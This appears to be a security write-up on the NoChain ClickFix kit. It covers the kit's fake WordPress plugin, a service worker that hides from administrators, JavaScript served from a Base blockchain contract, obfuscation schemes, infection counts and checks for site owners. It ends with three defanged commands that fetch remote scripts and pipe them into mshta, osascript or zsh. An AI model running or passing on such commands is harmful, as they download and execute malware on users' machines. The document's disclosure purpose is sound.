NoChain ClickFix kit

A fake plugin and a service worker

NoChain installs a plugin in a folder named site-helper- followed by twelve hexadecimal characters. It ships its own copy of ethers.min.js and runtime files with harmless names: diag-runner.js, health-probe.js, runtime-sample.js, front-probe.js. The page carries a settings object, window.wpSiteDiag, holding the contract address, the local ethers file and timing settings. Older builds called it wpPerfSample.

The page also registers a service worker for the whole site, such as nochain-sw.js, which gives the kit a second way back in. The registration skips WordPress administrators, logged-in users and anyone with an nc_skip=1 cookie, so the people running the site are the last to see it.

The code lives in the contract

NoChain's contract on Base holds the code itself. It answers getActiveScripts() with lists of IDs, names and JavaScript, and the loader runs each script in order and caches it. A second pair of calls, hasDemoPage() and getDemoPage(), returns a page the loader installs over the whole screen. That page is the lure.

Large pages are packed. An nc-blob: value is split into chunks, Base64-encoded and gzipped. An ob: value shifts every byte by a seed plus its position modulo 13, then reverses the result. Any controller address sits inside the returned code. The loader reads the contract through several public Base RPC services with failover.

Leftovers after cleanup

On cleaned sites we have found the plugin's settings and script tag still in the page while the runtime file is gone, or the worker replaced by one that unregisters itself. WP Rocket can also delay the plugin script until a visitor interacts with the page, so a quick scan can miss a live file.

What we see

Month	New sites
September	848
October	135
November so far	21

We matched NoChain on 2,136 sites in August. Of the 1,582 sites recaptured at least 25 days after their first match, 1,169 were still serving it (74%). 93% of NoChain sites captured since 25 September run WordPress.

Checking a site

In WordPress, look for a plugin folder named site-helper- with a random suffix, or files named diag-runner.js, health-probe.js, runtime-sample.js or front-probe.js. In the page source, look for a wpSiteDiag or wpPerfSample object. In your browser's developer tools, check the Application panel for a service worker registered on your site that you did not add.

After removing the plugin, unregister the service worker and purge the site's cache, or the old copies keep running.

mshta hxxp://timelevel12[.]com/big

curl -sf $(echo '[base64 of: hxxps://cache-assistant[.]com/ru1f6y/CnXRCeQ3Zp3s]' | base64 -d) | osascript -l JavaScript

curl -s $(echo "[base64 of: hxxps://journeylake11[.]com/curl/n3oph8sij/6s813socl50o3sp7x8y20rzo.txt]" | openssl base64 -d -A) | zsh